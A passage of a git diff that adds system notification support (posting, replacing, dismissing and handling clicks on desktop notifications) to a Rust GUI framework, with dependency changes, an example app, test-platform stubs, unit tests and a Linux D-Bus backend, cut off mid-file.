 name = "windows_aarch64_gnullvm"
 version = "0.42.2"
diff --git a/Cargo.toml b/Cargo.toml
index b7b2e007e7ebc7..e7d5de4f023379 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -555,6 +555,7 @@ aws-smithy-types = { version = "1.3.4", features = ["http-body-1-x"] }
 backtrace = "0.3"
 base64 = "0.22"
 bitflags = "2.6.0"
+block2 = "0.6"
 brotli = "8.0.2"
 bytes = "1.0"
 cargo_metadata = "0.19"
@@ -669,6 +670,7 @@ moka = { version = "0.12.10", features = ["sync"] }
 nanoid = "0.4"
 nbformat = "1.2.0"
 nix = "0.29"
+notify-rust = "4"
 nucleo = "0.5"
 num-format = "0.4.4"
 objc = "0.2"
@@ -700,6 +702,7 @@ objc2-foundation = { version = "=0.3.2", default-features = false, features = [
     "NSProcessInfo",
     "NSRange",
     "NSRunLoop",
+    "NSSet",
     "NSString",
     "NSURL",
     "NSUndoManager",
@@ -707,6 +710,7 @@ objc2-foundation = { version = "=0.3.2", default-features = false, features = [
     "objc2-core-foundation",
     "std",
 ] }
+objc2-user-notifications = "0.3"
 open = "5.0.0"
 ordered-float = "2.1.1"
 palette = { version = "0.7.5", default-features = false, features = ["std"] }
@@ -880,15 +884,16 @@ yawc = "0.2.5"
 zeroize = "1.8"
 zstd = "0.11"
 
-
 [workspace.dependencies.windows]
 version = "0.61"
 features = [
+    "Data_Xml_Dom",
     "Foundation_Numerics",
     "Globalization_DateTimeFormatting",
     "Storage_Search",
     "Storage_Streams",
     "System_Threading",
+    "UI_Notifications",
     "UI_ViewManagement",
     "Wdk_System_SystemServices",
     "Win32_Foundation",
@@ -910,6 +915,7 @@ features = [
     "Win32_Security_Credentials",
     "Win32_Security_Cryptography",
     "Win32_Storage_FileSystem",
+    "Win32_Storage_Packaging_Appx",
     "Win32_System_Com",
     "Win32_System_Com_StructuredStorage",
     "Win32_System_Console",
diff --git a/crates/gpui/Cargo.toml b/crates/gpui/Cargo.toml
index 586eed26093b67..8fd4a7c7639a74 100644
--- a/crates/gpui/Cargo.toml
+++ b/crates/gpui/Cargo.toml
@@ -211,6 +211,11 @@ path = "examples/pattern.rs"
 name = "set_menus"
 path = "examples/set_menus.rs"
 
+[[example]]
+name = "system_notifications"
+path = "examples/system_notifications.rs"
+
+
 [[example]]
 name = "shadow"
 path = "examples/shadow.rs"
diff --git a/crates/gpui/examples/README.md b/crates/gpui/examples/README.md
index 7fc75e0f5bad7f..dab1c302c9135a 100644
--- a/crates/gpui/examples/README.md
+++ b/crates/gpui/examples/README.md
@@ -54,6 +54,7 @@ cargo run -p gpui --example hello_world
 - `move_entity_between_windows` shows moving an entity between windows.
 - `on_window_close_quit` demonstrates quitting when a window closes.
 - `set_menus` shows application menu setup.
+- `system_notifications` demonstrates posting, replacing, dismissing, and responding to operating-system notifications.
 - `window` demonstrates creating normal, dialog, popup, and floating windows.
 - `window_positioning` demonstrates window bounds and placement.
 - `window_shadow` demonstrates window shadow styling.
diff --git a/crates/gpui/examples/system_notifications.rs b/crates/gpui/examples/system_notifications.rs
new file mode 100644
index 00000000000000..70071dc96f46d6
--- /dev/null
+++ b/crates/gpui/examples/system_notifications.rs
@@ -0,0 +1,149 @@
+#![cfg_attr(target_family = "wasm", no_main)]
+
+//! Demonstrates posting, replacing, dismissing, and responding to system notifications.
+
+use gpui::{
+    App, Bounds, Context, Div, SharedString, Stateful, SystemNotification,
+    SystemNotificationAction, SystemNotificationResponse, Window, WindowBounds, WindowOptions, div,
+    prelude::*, px, rgb, size,
+};
+use gpui_platform::application;
+
+const NOTIFICATION_TAG: &str = "gpui-system-notification-example";
+
+struct SystemNotificationExample {
+    revision: usize,
+    status: SharedString,
+}
+
+impl Render for SystemNotificationExample {
+    fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
+        div()
+            .flex()
+            .flex_col()
+            .size_full()
+            .gap_4()
+            .p_8()
+            .bg(rgb(0x18181b))
+            .text_color(rgb(0xf4f4f5))
+            .child(div().text_2xl().child("GPUI system notifications"))
+            .child(div().text_sm().text_color(rgb(0xa1a1aa)).child(
+                "Post repeatedly to replace the notification with the same tag. Click the \
+                         notification body or an action button to send a response back to GPUI.",
+            ))
+            .child(
+                div()
+                    .flex()
+                    .gap_3()
+                    .child(button("show", "Show or replace").on_click(cx.listener(
+                        |this, _, _, cx| {
+                            this.revision += 1;
+                            let revision = this.revision;
+                            cx.show_system_notification(SystemNotification {
+                                tag: NOTIFICATION_TAG.into(),
+                                title: format!("Example notification {revision}").into(),
+                                body: "This notification was posted by the GPUI example.".into(),
+                                actions: vec![
+                                    SystemNotificationAction {
+                                        id: "open".into(),
+                                        label: "Open".into(),
+                                    },
+                                    SystemNotificationAction {
+                                        id: "snooze".into(),
+                                        label: "Snooze".into(),
+                                    },
+                                ],
+                            });
+                            this.status = format!("Posted notification revision {revision}").into();
+                            cx.notify();
+                        },
+                    )))
+                    .child(
+                        button("dismiss", "Dismiss").on_click(cx.listener(|this, _, _, cx| {
+                            cx.dismiss_system_notification(NOTIFICATION_TAG);
+                            this.status = "Dismissed the notification".into();
+                            cx.notify();
+                        })),
+                    ),
+            )
+            .child(
+                div()
+                    .mt_2()
+                    .p_4()
+                    .rounded_md()
+                    .bg(rgb(0x27272a))
+                    .child(self.status.clone()),
+            )
+            .when(cfg!(target_os = "macos"), |this| {
+                this.child(div().mt_2().text_xs().text_color(rgb(0x71717a)).child(
+                    "macOS only delivers notifications when this example runs from an app bundle.",
+                ))
+            })
+    }
+}
+
+fn button(id: &'static str, label: &'static str) -> Stateful<Div> {
+    div()
+        .id(id)
+        .px_4()
+        .py_2()
+        .rounded_md()
+        .bg(rgb(0x3f3f46))
+        .hover(|style| style.bg(rgb(0x52525b)))
+        .active(|style| style.bg(rgb(0x71717a)))
+        .cursor_pointer()
+        .child(label)
+}
+
+fn run_example() {
+    application().run(|cx: &mut App| {
+        cx.set_app_identity("dev.zed.gpui.system-notifications", "GPUI Notifications");
+
+        let view = cx.new(|_| SystemNotificationExample {
+            revision: 0,
+            status: "No notification posted yet".into(),
+        });
+        cx.on_system_notification_response({
+            let view = view.clone();
+            move |response, cx| {
+                let SystemNotificationResponse { tag, action_id } = response;
+                view.update(cx, |this, cx| {
+                    this.status = match action_id {
+                        Some(action_id) => {
+                            format!("Received action '{action_id}' for tag '{tag}'").into()
+                        }
+                        None => format!("Notification body clicked for tag '{tag}'").into(),
+                    };
+                    cx.notify();
+                });
+            }
+        });
+
+        let bounds = Bounds::centered(None, size(px(560.), px(360.)), cx);
+        cx.open_window(
+            WindowOptions {
+                window_bounds: Some(WindowBounds::Windowed(bounds)),
+                titlebar: Some(gpui::TitlebarOptions {
+                    title: Some("System Notifications Example".into()),
+                    ..Default::default()
+                }),
+                ..Default::default()
+            },
+            move |_, _| view,
+        )
+        .expect("failed to open system notifications example window");
+        cx.activate(true);
+    });
+}
+
+#[cfg(not(target_family = "wasm"))]
+fn main() {
+    run_example();
+}
+
+#[cfg(target_family = "wasm")]
+#[wasm_bindgen::prelude::wasm_bindgen(start)]
+pub fn start() {
+    gpui_platform::web_init();
+    run_example();
+}
diff --git a/crates/gpui/src/app.rs b/crates/gpui/src/app.rs
index 1a3e28fff9accb..857b792dd14931 100644
--- a/crates/gpui/src/app.rs
+++ b/crates/gpui/src/app.rs
@@ -50,9 +50,9 @@ use crate::{
     PathPromptOptions, Pixels, Platform, PlatformDisplay, PlatformKeyboardLayout,
     PlatformKeyboardMapper, Point, Priority, PromptBuilder, PromptButton, PromptHandle,
     PromptLevel, Render, RenderImage, RenderablePromptHandle, Reservation, ScreenCaptureSource,
-    SharedString, SubscriberSet, Subscription, SvgRenderer, Task, TextRenderingMode, TextSystem,
-    ThermalState, Window, WindowAppearance, WindowButtonLayout, WindowHandle, WindowId,
-    WindowInvalidator,
+    SharedString, SubscriberSet, Subscription, SvgRenderer, SystemNotification,
+    SystemNotificationResponse, Task, TextRenderingMode, TextSystem, ThermalState, Window,
+    WindowAppearance, WindowButtonLayout, WindowHandle, WindowId, WindowInvalidator,
     colors::{Colors, GlobalColors},
     hash, init_app_menus,
 };
@@ -1419,6 +1419,50 @@ impl App {
         self.platform.register_url_scheme(scheme)
     }
 
+    /// Sets the application's process-wide identity and user-visible name.
+    ///
+    /// The identifier is used for platform identity mechanisms such as the
+    /// Windows AppUserModelID. The name is used wherever the operating system
+    /// presents the application to the user. Call this once, early in startup,
+    /// before opening windows or posting notifications.
+    pub fn set_app_identity(&self, identifier: &str, name: &str) {
+        self.platform.set_app_identity(identifier, name);
+    }
+
+    /// Posts a notification to the operating system's notification center.
+    ///
+    /// Posting a notification whose [`SystemNotification::tag`] matches an
+    /// earlier one replaces that notification where the platform supports it.
+    /// No-op on platforms without notification support, or when delivery is
+    /// unavailable (e.g. authorization was denied).
+    pub fn show_system_notification(&self, notification: SystemNotification) {
+        self.platform.show_system_notification(notification);
+    }
+
+    /// Removes the delivered or pending notification with this tag.
+    ///
+    /// Best-effort: some platforms cannot retract a notification once shown,
+    /// in which case it ages out of the notification center on its own.
+    pub fn dismiss_system_notification(&self, tag: &str) {
+        self.platform.dismiss_system_notification(tag);
+    }
+
+    /// Registers the handler invoked when the user activates a system
+    /// notification, either by clicking its body or one of its action
+    /// buttons. Subsequent registrations replace the handler.
+    pub fn on_system_notification_response<F>(&self, mut callback: F)
+    where
+        F: 'static + FnMut(SystemNotificationResponse, &mut App),
+    {
+        let this = self.this.clone();
+        self.platform
+            .on_system_notification_response(Box::new(move |response| {
+                if let Some(app) = this.upgrade() {
+                    callback(response, &mut app.borrow_mut());
+                }
+            }));
+    }
+
     /// Returns the full pathname of the current app bundle.
     ///
     /// Returns an error if the app is not being run from a bundle.
diff --git a/crates/gpui/src/app/test_context.rs b/crates/gpui/src/app/test_context.rs
index 9e32c5dc2d4520..582e1ad8400df5 100644
--- a/crates/gpui/src/app/test_context.rs
+++ b/crates/gpui/src/app/test_context.rs
@@ -3,9 +3,10 @@ use crate::{
     BackgroundExecutor, BorrowAppContext, Bounds, Capslock, ClipboardItem, DrawPhase, Drawable,
     Element, Empty, EntityId, EventEmitter, ForegroundExecutor, Global, InputEvent, Keystroke,
     Modifiers, ModifiersChangedEvent, MouseButton, MouseDownEvent, MouseMoveEvent, MouseUpEvent,
-    Pixels, Platform, Point, Render, Result, Size, Task, TestDispatcher, TestPlatform,
-    TestScreenCaptureSource, TestWindow, TextSystem, VisualContext, Window, WindowBounds,
-    WindowHandle, WindowOptions, app::GpuiMode, window::ElementArenaScope,
+    Pixels, Platform, Point, Render, Result, SharedString, Size, SystemNotification,
+    SystemNotificationResponse, Task, TestDispatcher, TestPlatform, TestScreenCaptureSource,
+    TestWindow, TextSystem, VisualContext, Window, WindowBounds, WindowHandle, WindowOptions,
+    app::GpuiMode, window::ElementArenaScope,
 };
 use anyhow::{anyhow, bail};
 use futures::{Stream, StreamExt, channel::oneshot};
@@ -371,6 +372,32 @@ impl TestAppContext {
         self.test_platform.opened_url.borrow().clone()
     }
 
+    /// Returns the application identity configured during this test.
+    pub fn app_identity(&self) -> Option<(SharedString, SharedString)> {
+        self.test_platform.app_identity()
+    }
+
+    /// Returns all system notifications shown during this test, in order.
+    pub fn shown_system_notifications(&self) -> Vec<SystemNotification> {
+        self.test_platform.shown_system_notifications()
+    }
+
+    /// Returns the system notifications currently delivered by the test platform.
+    pub fn delivered_system_notifications(&self) -> Vec<SystemNotification> {
+        self.test_platform.delivered_system_notifications()
+    }
+
+    /// Returns the tags of all system notifications dismissed during this test, in order.
+    pub fn dismissed_system_notifications(&self) -> Vec<SharedString> {
+        self.test_platform.dismissed_system_notifications()
+    }
+
+    /// Simulates the user activating a system notification.
+    pub fn simulate_system_notification_response(&self, response: SystemNotificationResponse) {
+        self.test_platform
+            .simulate_system_notification_response(response);
+    }
+
     /// Simulates the user resizing the window to the new size.
     pub fn simulate_window_resize(&self, window_handle: AnyWindowHandle, size: Size<Pixels>) {
         self.test_window(window_handle).simulate_resize(size);
@@ -1115,8 +1142,153 @@ impl AnyWindowHandle {
 
 #[cfg(test)]
 mod tests {
-    use crate::{PathPromptOptions, TestAppContext};
+    use crate::{
+        PathPromptOptions, SystemNotification, SystemNotificationAction,
+        SystemNotificationResponse, TestAppContext,
+    };
+    use std::cell::RefCell;
     use std::path::PathBuf;
+    use std::rc::Rc;
+
+    #[gpui::test]
+    async fn test_system_notifications_require_identity_and_replace_matching_tags(
+        cx: &mut TestAppContext,
+    ) {
+        cx.update(|cx| {
+            cx.show_system_notification(SystemNotification {
+                tag: "thread-1".into(),
+                title: "Task started".into(),
+                body: "Running tests".into(),
+                actions: Vec::new(),
+            });
+        });
+        assert!(cx.shown_system_notifications().is_empty());
+        assert!(cx.delivered_system_notifications().is_empty());
+
+        cx.update(|cx| {
+            cx.set_app_identity("com.example.tasks", "Tasks");
+            cx.show_system_notification(SystemNotification {
+                tag: "thread-1".into(),
+                title: "Task started".into(),
+                body: "Running tests".into(),
+                actions: Vec::new(),
+            });
+            cx.show_system_notification(SystemNotification {
+                tag: "thread-1".into(),
+                title: "Task finished".into(),
+                body: "All tests passed".into(),
+                actions: vec![SystemNotificationAction {
+                    id: "open".into(),
+                    label: "Open".into(),
+                }],
+            });
+        });
+
+        assert_eq!(
+            cx.app_identity(),
+            Some(("com.example.tasks".into(), "Tasks".into()))
+        );
+        assert_eq!(cx.shown_system_notifications().len(), 2);
+        assert_eq!(
+            cx.delivered_system_notifications(),
+            [SystemNotification {
+                tag: "thread-1".into(),
+                title: "Task finished".into(),
+                body: "All tests passed".into(),
+                actions: vec![SystemNotificationAction {
+                    id: "open".into(),
+                    label: "Open".into(),
+                }],
+            }]
+        );
+
+        cx.update(|cx| cx.dismiss_system_notification("thread-1"));
+        assert!(cx.delivered_system_notifications().is_empty());
+        assert_eq!(cx.dismissed_system_notifications(), ["thread-1"]);
+    }
+
+    #[gpui::test]
+    async fn test_system_notification_body_and_action_responses(cx: &mut TestAppContext) {
+        let responses = Rc::new(RefCell::new(Vec::new()));
+        cx.update(|cx| {
+            cx.on_system_notification_response({
+                let responses = responses.clone();
+                move |response, _cx| responses.borrow_mut().push(response)
+            });
+        });
+
+        cx.simulate_system_notification_response(SystemNotificationResponse {
+            tag: "thread-1".into(),
+            action_id: None,
+        });
+        cx.simulate_system_notification_response(SystemNotificationResponse {
+            tag: "thread-1".into(),
+            action_id: Some("default".into()),
+        });
+
+        assert_eq!(
+            responses.borrow().as_slice(),
+            &[
+                SystemNotificationResponse {
+                    tag: "thread-1".into(),
+                    action_id: None,
+                },
+                SystemNotificationResponse {
+                    tag: "thread-1".into(),
+                    action_id: Some("default".into()),
+                },
+            ]
+        );
+    }
+
+    #[gpui::test]
+    async fn test_system_notification_response_handler_can_be_replaced(cx: &mut TestAppContext) {
+        let first_responses = Rc::new(RefCell::new(Vec::new()));
+        let second_responses = Rc::new(RefCell::new(Vec::new()));
+        cx.update(|cx| {
+            cx.on_system_notification_response({
+                let first_responses = first_responses.clone();
+                move |response, _cx| first_responses.borrow_mut().push(response)
+            });
+            cx.on_system_notification_response({
+                let second_responses = second_responses.clone();
+                move |response, _cx| second_responses.borrow_mut().push(response)
+            });
+        });
+
+        let response = SystemNotificationResponse {
+            tag: "thread-1".into(),
+            action_id: None,
+        };
+        cx.simulate_system_notification_response(response.clone());
+
+        assert!(first_responses.borrow().is_empty());
+        assert_eq!(second_responses.borrow().as_slice(), &[response]);
+    }
+
+    #[gpui::test]
+    async fn test_system_notification_response_handler_can_reenter_app(cx: &mut TestAppContext) {
+        cx.update(|cx| {
+            cx.set_app_identity("com.example.tasks", "Tasks");
+            cx.show_system_notification(SystemNotification {
+                tag: "thread-1".into(),
+                title: "Task finished".into(),
+                body: "All tests passed".into(),
+                actions: Vec::new(),
+            });
+            cx.on_system_notification_response(|response, cx| {
+                cx.dismiss_system_notification(&response.tag);
+            });
+        });
+
+        cx.simulate_system_notification_response(SystemNotificationResponse {
+            tag: "thread-1".into(),
+            action_id: None,
+        });
+
+        assert!(cx.delivered_system_notifications().is_empty());
+        assert_eq!(cx.dismissed_system_notifications(), ["thread-1"]);
+    }
 
     #[gpui::test]
     async fn test_simulate_path_prompt_response(cx: &mut TestAppContext) {
diff --git a/crates/gpui/src/platform.rs b/crates/gpui/src/platform.rs
index 3caf351fc86ffe..20600c3eb519ad 100644
--- a/crates/gpui/src/platform.rs
+++ b/crates/gpui/src/platform.rs
@@ -239,6 +239,46 @@ pub trait Platform: 'static {
     fn thermal_state(&self) -> ThermalState;
     fn on_thermal_state_change(&self, callback: Box<dyn FnMut()>);
 
+    /// Sets the application's process-wide identity and user-visible name.
+    ///
+    /// The identifier is used for platform identity mechanisms such as the
+    /// Windows AppUserModelID. The name is used wherever the operating system
+    /// presents the application to the user. Call this once, early in startup,
+    /// before opening windows or posting notifications.
+    fn set_app_identity(&self, identifier: &str, name: &str) {
+        _ = (identifier, name);
+    }
+
+    /// Posts a notification to the operating system's notification center.
+    ///
+    /// Posting a notification whose [`SystemNotification::tag`] matches an
+    /// earlier one replaces that notification where the platform supports it.
+    /// No-op on platforms without notification support, or when delivery is
+    /// unavailable (e.g. authorization was denied).
+    fn show_system_notification(&self, notification: SystemNotification) {
+        _ = notification;
+    }
+
+    /// Removes the delivered or pending notification with this tag.
+    ///
+    /// Best-effort: some platforms cannot retract a notification once shown,
+    /// in which case it ages out of the notification center on its own.
+    fn dismiss_system_notification(&self, tag: &str) {
+        _ = tag;
+    }
+
+    /// Registers the callback invoked when the user activates a system
+    /// notification, either by clicking its body or one of its action
+    /// buttons.
+    ///
+    /// Implementations must invoke the callback on the main thread.
+    fn on_system_notification_response(
+        &self,
+        callback: Box<dyn FnMut(SystemNotificationResponse)>,
+    ) {
+        _ = callback;
+    }
+
     fn compositor_name(&self) -> &'static str {
         ""
     }
@@ -309,6 +349,43 @@ pub trait PlatformDisplay: Debug {
     }
 }
 
+/// A notification posted to the operating system's notification center,
+/// rather than rendered as in-app UI.
+#[derive(Clone, Debug, PartialEq, Eq)]
+pub struct SystemNotification {
+    /// Stable identity for the notification. Posting a new notification with
+    /// the same tag replaces the previous one where the platform supports it,
+    /// and responses carry the tag back to the application.
+    pub tag: SharedString,
+    /// The notification's headline.
+    pub title: SharedString,
+    /// Additional text displayed below the title.
+    pub body: SharedString,
+    /// Buttons offered on the notification. Platforms that cannot display
+    /// action buttons show the notification without them.
+    pub actions: Vec<SystemNotificationAction>,
+}
+
+/// A button offered on a [`SystemNotification`].
+#[derive(Clone, Debug, PartialEq, Eq, Hash)]
+pub struct SystemNotificationAction {
+    /// Identifies the action in [`SystemNotificationResponse::action_id`]
+    /// when the user presses this button.
+    pub id: SharedString,
+    /// The button's user-visible label.
+    pub label: SharedString,
+}
+
+/// The user's activation of a [`SystemNotification`].
+#[derive(Clone, Debug, PartialEq, Eq)]
+pub struct SystemNotificationResponse {
+    /// The [`SystemNotification::tag`] of the activated notification.
+    pub tag: SharedString,
+    /// The pressed action button's [`SystemNotificationAction::id`], or
+    /// `None` when the user activated the notification body itself.
+    pub action_id: Option<SharedString>,
+}
+
 /// Thermal state of the system
 #[derive(Debug, Clone, Copy, PartialEq, Eq)]
 pub enum ThermalState {
diff --git a/crates/gpui/src/platform/test/platform.rs b/crates/gpui/src/platform/test/platform.rs
index bc1ef4e38b95b6..42edcd6cba3487 100644
--- a/crates/gpui/src/platform/test/platform.rs
+++ b/crates/gpui/src/platform/test/platform.rs
@@ -3,8 +3,8 @@ use crate::{
     DummyKeyboardMapper, ForegroundExecutor, Keymap, NoopTextSystem, PathPromptOptions, Platform,
     PlatformDisplay, PlatformHeadlessRenderer, PlatformKeyboardLayout, PlatformKeyboardMapper,
     PlatformTextSystem, PromptButton, ScreenCaptureFrame, ScreenCaptureSource, ScreenCaptureStream,
-    SourceMetadata, Task, TestDisplay, TestWindow, ThermalState, WindowAppearance, WindowParams,
-    size,
+    SharedString, SourceMetadata, SystemNotification, SystemNotificationResponse, Task,
+    TestDisplay, TestWindow, ThermalState, WindowAppearance, WindowParams, size,
 };
 use anyhow::Result;
 use collections::VecDeque;
@@ -33,6 +33,7 @@ pub(crate) struct TestPlatform {
     pub(crate) prompts: RefCell<TestPrompts>,
     screen_capture_sources: RefCell<Vec<TestScreenCaptureSource>>,
     pub opened_url: RefCell<Option<String>>,
+    pub(crate) system_notifications: RefCell<TestSystemNotifications>,
     pub text_system: Arc<dyn PlatformTextSystem>,
     pub expect_restart: RefCell<Option<oneshot::Sender<Option<PathBuf>>>>,
     headless_renderer_factory: Option<Box<dyn Fn() -> Option<Box<dyn PlatformHeadlessRenderer>>>>,
@@ -82,6 +83,15 @@ struct TestPrompt {
     tx: oneshot::Sender<usize>,
 }
 
+#[derive(Default)]
+pub(crate) struct TestSystemNotifications {
+    pub(crate) app_identity: Option<(SharedString, SharedString)>,
+    pub(crate) shown: Vec<SystemNotification>,
+    pub(crate) delivered: Vec<SystemNotification>,
+    pub(crate) dismissed: Vec<SharedString>,
+    response_callback: Option<Box<dyn FnMut(SystemNotificationResponse)>>,
+}
+
 #[derive(Default)]
 pub(crate) struct TestPrompts {
     multiple_choice: VecDeque<TestPrompt>,
@@ -134,6 +144,7 @@ impl TestPlatform {
             current_find_pasteboard_item: Mutex::new(None),
             weak: weak.clone(),
             opened_url: Default::default(),
+            system_notifications: Default::default(),
             text_system,
             headless_renderer_factory,
         })
@@ -258,6 +269,40 @@ impl TestPlatform {
     pub(crate) fn did_prompt_for_new_path(&self) -> bool {
         !self.prompts.borrow().new_path.is_empty()
     }
+
+    pub(crate) fn app_identity(&self) -> Option<(SharedString, SharedString)> {
+        self.system_notifications.borrow().app_identity.clone()
+    }
+
+    pub(crate) fn shown_system_notifications(&self) -> Vec<SystemNotification> {
+        self.system_notifications.borrow().shown.clone()
+    }
+
+    pub(crate) fn delivered_system_notifications(&self) -> Vec<SystemNotification> {
+        self.system_notifications.borrow().delivered.clone()
+    }
+
+    pub(crate) fn dismissed_system_notifications(&self) -> Vec<SharedString> {
+        self.system_notifications.borrow().dismissed.clone()
+    }
+
+    pub(crate) fn simulate_system_notification_response(
+        &self,
+        response: SystemNotificationResponse,
+    ) {
+        let callback = self
+            .system_notifications
+            .borrow_mut()
+            .response_callback
+            .take();
+        if let Some(mut callback) = callback {
+            callback(response);
+            self.system_notifications
+                .borrow_mut()
+                .response_callback
+                .get_or_insert(callback);
+        }
+    }
 }
 
 impl Platform for TestPlatform {
@@ -416,6 +461,46 @@ impl Platform for TestPlatform {
 
     fn on_system_wake(&self, _callback: Box<dyn FnMut()>) {}
 
+    fn set_app_identity(&self, identifier: &str, name: &str) {
+        self.system_notifications.borrow_mut().app_identity =
+            Some((identifier.to_string().into(), name.to_string().into()));
+    }
+
+    fn show_system_notification(&self, notification: SystemNotification) {
+        let mut system_notifications = self.system_notifications.borrow_mut();
+        if system_notifications.app_identity.is_none() {
+            return;
+        }
+
+        let delivered = system_notifications
+            .delivered
+            .iter_mut()
+            .find(|delivered| delivered.tag == notification.tag);
+        if let Some(delivered) = delivered {
+            *delivered = notification.clone();
+        } else {
+            system_notifications.delivered.push(notification.clone());
+        }
+        system_notifications.shown.push(notification);
+    }
+
+    fn dismiss_system_notification(&self, tag: &str) {
+        let mut system_notifications = self.system_notifications.borrow_mut();
+        system_notifications
+            .delivered
+            .retain(|notification| notification.tag != tag);
+        system_notifications
+            .dismissed
+            .push(SharedString::from(tag.to_string()));
+    }
+
+    fn on_system_notification_response(
+        &self,
+        callback: Box<dyn FnMut(SystemNotificationResponse)>,
+    ) {
+        self.system_notifications.borrow_mut().response_callback = Some(callback);
+    }
+
     fn set_menus(&self, _menus: Vec<crate::Menu>, _keymap: &Keymap) {}
     fn set_dock_menu(&self, _menu: Vec<crate::MenuItem>, _keymap: &Keymap) {}
 
diff --git a/crates/gpui_linux/Cargo.toml b/crates/gpui_linux/Cargo.toml
index 160a9525ce1a4f..44884414c0c0b6 100644
--- a/crates/gpui_linux/Cargo.toml
+++ b/crates/gpui_linux/Cargo.toml
@@ -81,6 +81,7 @@ oo7 = { version = "0.6", default-features = false, features = [
     "native_crypto",
 ] }
 calloop = "0.14.3"
+notify-rust.workspace = true
 raw-window-handle.workspace = true
 
 # Used in both windowing options
diff --git a/crates/gpui_linux/src/linux.rs b/crates/gpui_linux/src/linux.rs
index 7202248e376458..33393f7e9ee41e 100644
--- a/crates/gpui_linux/src/linux.rs
+++ b/crates/gpui_linux/src/linux.rs
@@ -2,6 +2,7 @@ mod dispatcher;
 mod headless;
 mod keyboard;
 mod platform;
+mod system_notifications;
 #[cfg(any(feature = "wayland", feature = "x11"))]
 mod text_system;
 #[cfg(feature = "wayland")]
diff --git a/crates/gpui_linux/src/linux/platform.rs b/crates/gpui_linux/src/linux/platform.rs
index 8aac55d32184cd..876f931663fa4a 100644
--- a/crates/gpui_linux/src/linux/platform.rs
+++ b/crates/gpui_linux/src/linux/platform.rs
@@ -123,6 +123,8 @@ pub(crate) struct LinuxCommon {
     pub(crate) callbacks: PlatformHandlers,
     pub(crate) signal: LoopSignal,
     pub(crate) menus: Vec<OwnedMenu>,
+    app_name: Option<String>,
+    system_notifications: crate::linux::system_notifications::SystemNotificationState,
     #[cfg_attr(
         not(all(target_os = "linux", any(feature = "wayland", feature = "x11"))),
         allow(dead_code)
@@ -163,6 +165,9 @@ impl LinuxCommon {
             callbacks,
             signal,
             menus: Vec::new(),
+            app_name: None,
+            system_notifications: crate::linux::system_notifications::SystemNotificationState::new(
+            ),
             wake_sender,
             wake_listener_started: false,
         };
@@ -556,6 +561,34 @@ impl<P: LinuxClient + 'static> Platform for LinuxPlatform<P> {
         });
     }
 
+    fn set_app_identity(&self, _identifier: &str, name: &str) {
+        self.inner
+            .with_common(|common| common.app_name = Some(name.to_string()));
+    }
+
+    fn show_system_notification(&self, notification: gpui::SystemNotification) {
+        self.inner.with_common(|common| {
+            common
+                .system_notifications
+                .show(common.app_name.as_deref(), notification)
+        });
+    }
+
+    fn dismiss_system_notification(&self, tag: &str) {
+        self.inner
+            .with_common(|common| common.system_notifications.dismiss(tag));
+    }
+
+    fn on_system_notification_response(
+        &self,
+        callback: Box<dyn FnMut(gpui::SystemNotificationResponse)>,
+    ) {
+        self.inner.with_common(|common| {
+            let executor = common.foreground_executor.clone();
+            common.system_notifications.on_response(&executor, callback)
+        });
+    }
+
     fn on_app_menu_action(&self, callback: Box<dyn FnMut(&dyn Action)>) {
         self.inner.with_common(|common| {
             common.callbacks.app_menu_action = Some(callback);
diff --git a/crates/gpui_linux/src/linux/system_notifications.rs b/crates/gpui_linux/src/linux/system_notifications.rs
new file mode 100644
index 00000000000000..3530c6f3420987
--- /dev/null
+++ b/crates/gpui_linux/src/linux/system_notifications.rs
@@ -0,0 +1,154 @@
+//! System notifications over the XDG notifications D-Bus interface, via
+//! `notify-rust`.
+
+use std::cell::RefCell;
+use std::collections::HashMap;
+use std::rc::Rc;
+
+use futures::StreamExt as _;
+use futures::channel::mpsc;
+use gpui::{
+    ForegroundExecutor, SharedString, SystemNotification, SystemNotificationResponse, Task,
+};
+
+/// The XDG action key invoked when the user activates the notification body
+/// rather than a specific action button.
+const DEFAULT_ACTION: &str = "default";
+
+type ResponseCallback = Rc<RefCell<Option<Box<dyn FnMut(SystemNotificationResponse)>>>>;
+
+pub(crate) struct SystemNotificationState {
+    response_sender: mpsc::UnboundedSender<SystemNotificationResponse>,
+    response_receiver: Option<mpsc::UnboundedReceiver<SystemNotificationResponse>>,
+    callback: ResponseCallback,
+    _response_task: Option<Task<()>>,
+}
+
+impl SystemNotificationState {
+    pub(crate) fn new() -> Self {
+        let (response_sender, response_receiver) = mpsc::unbounded();
+        Self {
+            response_sender,
+            response_receiver: Some(response_receiver),
+            callback: Rc::new(RefCell::new(None)),
+            _response_task: None,
+        }
+    }
+
+    pub(crate) fn show(&self, app_name: Option<&str>, notification: SystemNotification) {
+        let mut builder = notify_rust::Notification::new();
+        if let Some(app_name) = app_name {
+            builder.appname(app_name);
+        }
+        builder
+            .summary(&notification.title)
+            .body(&notification.body)
+            .action(DEFAULT_ACTION, DEFAULT_ACTION);
+        let mut action_ids = HashMap::new();
+        for (index, action) in notification.actions.iter().enumerate() {
+            let transport_id = format!("gpui-action-{index}");
+            builder.action(&transport_id, &action.label);
+            action_ids.insert(transport_id, action.id.clone());
+        }
+        let built = builder.finalize();
+
+        let sender = self.response_sender.clone();
+        let tag = notification.tag.clone();
+        // `show` connects to the session bus and `wait_for_action` blocks
+        // until the notification closes, so both run off the UI thread.
+        let spawn_result = std::thread::Builder::new()
+            .name("system-notification".to_string())
+            .spawn(move || match built.show() {
+                Ok(handle) => handle.wait_for_action(|action| {
+                    let action_id = match action {
+                        // Sent by `notify-rust` when the notification closes
+                        // without being activated.
+                        "__closed" => return,
+                        transport_id => {
+                            let Some(action_id) = response_action_id(transport_id, &action_ids)
+                            else {
+                                log::warn!(
+                                    "system notification returned unknown action {transport_id:?}"
+                                );
+                                return;
+                            };
+                            action_id
+                        }
+                    };
+                    sender
+                        .unbounded_send(SystemNotificationResponse { tag, action_id })
+                        .ok();
+                }),
+                Err(error) => log::warn!("failed to show system notification: {error}"),
+            });
+        if let Err(error) = spawn_result {
+            log::warn!("failed to spawn system notification thread: {error}");
+        }
+    }
+
+    pub(crate) fn dismiss(&self, _tag: &str) {
+        // The XDG notifications protocol only allows closing via the
+        // server-assigned id on a live handle, which `wait_for_action`
+        // consumes; stale notifications simply age out of the shade.
+    }
+
+    pub(crate) fn on_response(
+        &mut self,
+        executor: &ForegroundExecutor,
+        callback: Box<dyn FnMut(SystemNotificationResponse)>,
+    ) {
+        *self.callback.borrow_mut() = Some(callback);
+
+        // Responses arrive from per-notification threads; this task hands
